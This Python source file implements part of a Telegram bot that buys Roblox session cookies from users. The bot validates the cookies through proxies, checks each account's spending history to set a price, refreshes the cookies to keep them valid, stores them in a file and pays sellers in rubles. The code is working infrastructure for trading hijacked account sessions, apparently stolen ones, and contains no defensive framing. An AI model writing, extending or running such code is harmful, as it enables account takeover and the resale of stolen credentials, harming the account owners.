234 lines
8.6 KiB
Python
234 lines
8.6 KiB
Python
from __future__ import annotations
|
|
|
|
import asyncio
|
|
import random
|
|
|
|
import aiohttp
|
|
from aiogram import F, Router
|
|
from aiogram.filters import StateFilter
|
|
from aiogram.fsm.context import FSMContext
|
|
from aiogram.types import Message
|
|
|
|
from config import ADMIN_ID, COOKIE_FILES_DIR, FRESHER_BATCH_SIZE, ROBSEC_FILE
|
|
from db.storage import load_config, load_proxies, load_stats, save_stats
|
|
from db.users import get, register, save
|
|
from keyboards.user import back_kb, main_menu_kb
|
|
from models.pricing import CookieDonationInfo
|
|
from runtime import get_bot, get_log_bot
|
|
from services.admin import is_admin
|
|
from services.pricing import price_cookie_batch
|
|
from services.referrals import apply_referral_payout
|
|
from services.roblox import (
|
|
check_cookie_with_retry,
|
|
fresh_cookie_async,
|
|
get_all_time_donate,
|
|
get_year_donate,
|
|
)
|
|
from utils.logging import log_admin, log_admin_document
|
|
from utils.parsing import parse_cookies_text
|
|
|
|
router = Router(name="upload")
|
|
|
|
|
|
async def _blocked(message: Message) -> bool:
|
|
profile = get(message.from_user.id)
|
|
if profile is None:
|
|
register(message.from_user.id, message.from_user.username)
|
|
profile = get(message.from_user.id)
|
|
if profile.is_banned:
|
|
await message.answer(f"You are banned. Reason: {profile.ban_reason or '-'}")
|
|
return True
|
|
cfg = load_config()
|
|
if not cfg.bot_enabled and message.from_user.id != ADMIN_ID:
|
|
await message.answer("The bot is temporarily disabled.")
|
|
return True
|
|
if not cfg.shop_enabled and message.from_user.id != ADMIN_ID:
|
|
await message.answer("Cookie buying is temporarily disabled.")
|
|
return True
|
|
return False
|
|
|
|
|
|
@router.message(StateFilter(None), F.document)
|
|
async def handle_document(message: Message):
|
|
if is_admin(message.from_user.id):
|
|
await message.answer("Admin accounts cannot sell cookies. Use /admin.")
|
|
return
|
|
if await _blocked(message):
|
|
return
|
|
filename = message.document.file_name or ""
|
|
if not filename.lower().endswith(".txt"):
|
|
await message.answer("Send a .txt file.")
|
|
return
|
|
|
|
path = COOKIE_FILES_DIR / f"{message.from_user.id}_{random.randint(100000, 999999)}.txt"
|
|
try:
|
|
await message.bot.download(message.document, destination=path)
|
|
text = path.read_text(encoding="utf-8", errors="ignore")
|
|
finally:
|
|
path.unlink(missing_ok=True)
|
|
await process_cookies(message, text)
|
|
|
|
|
|
@router.message(StateFilter(None), F.text & ~F.text.startswith("/"))
|
|
async def handle_text(message: Message):
|
|
if is_admin(message.from_user.id):
|
|
await message.answer("Admin accounts cannot sell cookies. Use /admin.")
|
|
return
|
|
if await _blocked(message):
|
|
return
|
|
text = message.text or ""
|
|
if "_|WARNING:-DO-NOT-SHARE-THIS." not in text:
|
|
await message.answer("Use the menu below or send cookie text.", reply_markup=main_menu_kb())
|
|
return
|
|
await process_cookies(message, text)
|
|
|
|
|
|
async def process_cookies(message: Message, raw_text: str):
|
|
cookies, duplicates = parse_cookies_text(raw_text)
|
|
if not cookies:
|
|
await message.answer("No cookies were found in the submitted data.")
|
|
return
|
|
|
|
cfg = load_config()
|
|
proxies = load_proxies()
|
|
total = len(cookies)
|
|
progress = await message.answer(
|
|
f"<b>Processing cookies</b>\nTotal: {total}\nDuplicates removed: {duplicates}\nStage: validation...",
|
|
parse_mode="HTML",
|
|
)
|
|
|
|
valid = []
|
|
async with aiohttp.ClientSession() as session:
|
|
tasks = [check_cookie_with_retry(session, cookie, proxies) for cookie in cookies]
|
|
for index, task in enumerate(asyncio.as_completed(tasks), start=1):
|
|
try:
|
|
result = await task
|
|
if result.status == "valid":
|
|
valid.append(result)
|
|
except Exception:
|
|
pass
|
|
if index % 20 == 0 or index == total:
|
|
try:
|
|
await progress.edit_text(
|
|
f"<b>Validation</b>\nProgress: {index}/{total}\nValid: {len(valid)}",
|
|
parse_mode="HTML",
|
|
)
|
|
except Exception:
|
|
pass
|
|
|
|
if not valid:
|
|
await progress.edit_text(f"No valid cookies found. Duplicates: {duplicates}")
|
|
return
|
|
|
|
await progress.edit_text(f"<b>Checking donations</b>\nValid cookies: {len(valid)}", parse_mode="HTML")
|
|
donations = []
|
|
async with aiohttp.ClientSession() as session:
|
|
async def get_donation(result):
|
|
proxy = random.choice(proxies) if proxies else None
|
|
all_time = await get_all_time_donate(session, result.cookie, result.user_id, proxy)
|
|
year = await get_year_donate(result.cookie, result.user_id, proxy)
|
|
return CookieDonationInfo(
|
|
cookie=result.cookie,
|
|
user_id=result.user_id,
|
|
username=result.username,
|
|
all_time=all_time,
|
|
year=year,
|
|
)
|
|
|
|
donations = await asyncio.gather(*(get_donation(result) for result in valid))
|
|
|
|
priced, avg_used, avg_price = price_cookie_batch(donations, cfg)
|
|
if not priced:
|
|
await progress.edit_text(
|
|
f"No cookies matched the rates. Valid: {len(valid)}",
|
|
reply_markup=back_kb(),
|
|
)
|
|
return
|
|
|
|
await progress.edit_text(
|
|
f"<b>Refreshing cookies</b>\nPayable: {len(priced)}\nMethod: {'AVG' if avg_used else 'per-rate'}",
|
|
parse_mode="HTML",
|
|
)
|
|
fresh_ok = []
|
|
fresh_failed = 0
|
|
for offset in range(0, len(priced), FRESHER_BATCH_SIZE):
|
|
batch = priced[offset:offset + FRESHER_BATCH_SIZE]
|
|
|
|
async def refresh(item):
|
|
proxy = random.choice(proxies) if proxies else None
|
|
ok, refreshed = await fresh_cookie_async(item.cookie, proxy)
|
|
return item, ok, refreshed
|
|
|
|
for item, ok, refreshed in await asyncio.gather(*(refresh(item) for item in batch)):
|
|
if ok and isinstance(refreshed, str) and refreshed.startswith("_|WARNING"):
|
|
fresh_ok.append((item, refreshed))
|
|
else:
|
|
fresh_failed += 1
|
|
try:
|
|
await progress.edit_text(
|
|
f"<b>Refreshing cookies</b>\nProgress: {min(offset + len(batch), len(priced))}/{len(priced)}\n"
|
|
f"Refreshed: {len(fresh_ok)}\nFailed: {fresh_failed}",
|
|
parse_mode="HTML",
|
|
)
|
|
except Exception:
|
|
pass
|
|
|
|
if not fresh_ok:
|
|
await progress.edit_text(
|
|
f"No cookies could be refreshed. Valid: {len(valid)}, failed: {fresh_failed}",
|
|
reply_markup=back_kb(),
|
|
)
|
|
return
|
|
|
|
ROBSEC_FILE.parent.mkdir(parents=True, exist_ok=True)
|
|
with ROBSEC_FILE.open("a", encoding="utf-8") as output:
|
|
output.writelines(f"{cookie}\n" for _, cookie in fresh_ok)
|
|
|
|
user_file = COOKIE_FILES_DIR / f"robsec_{message.from_user.id}_{random.randint(100000, 999999)}.txt"
|
|
user_file.write_text("".join(f"{cookie}\n" for _, cookie in fresh_ok), encoding="utf-8")
|
|
payout = sum(item.price for item, _ in fresh_ok)
|
|
|
|
profile = get(message.from_user.id)
|
|
if profile is None:
|
|
register(message.from_user.id, message.from_user.username)
|
|
profile = get(message.from_user.id)
|
|
profile.balance += payout
|
|
profile.total_earned += payout
|
|
profile.cookies_loaded += len(fresh_ok)
|
|
save(profile.user_id, profile)
|
|
|
|
stats = load_stats()
|
|
stats.total_cookies += len(fresh_ok)
|
|
stats.total_paid_direct += payout
|
|
save_stats(stats)
|
|
bot = get_bot() or message.bot
|
|
await apply_referral_payout(bot, profile.user_id, profile.username, payout, cfg.referral_percent)
|
|
|
|
method = "AVG" if avg_used else "per-rate"
|
|
report = (
|
|
"<b>Processing complete</b>\n\n"
|
|
f"Total: {total}\nDuplicates: {duplicates}\nValid: {len(valid)}\n"
|
|
f"Payable: {len(priced)}\nRefreshed: {len(fresh_ok)}\nFailed refresh: {fresh_failed}\n"
|
|
f"Method: {method}\n"
|
|
)
|
|
if avg_used:
|
|
report += f"AVG price: {avg_price:.2f} RUB\n"
|
|
report += f"\nPayout: <b>{payout:.2f} RUB</b>\nBalance: <b>{profile.balance:.2f} RUB</b>"
|
|
await progress.edit_text(report, parse_mode="HTML", reply_markup=main_menu_kb())
|
|
|
|
await log_admin(
|
|
bot,
|
|
ADMIN_ID,
|
|
f"<b>Cookie purchase</b>\n@{profile.username or '-'} (<code>{profile.user_id}</code>)\n"
|
|
f"Total: {total}, valid: {len(valid)}, refreshed: {len(fresh_ok)}\nPayout: {payout:.2f} RUB",
|
|
get_log_bot(),
|
|
)
|
|
await log_admin_document(
|
|
bot,
|
|
ADMIN_ID,
|
|
str(user_file),
|
|
caption=f"robsec from <code>{profile.user_id}</code>",
|
|
log_bot=get_log_bot(),
|
|
)
|
|
user_file.unlink(missing_ok=True)
|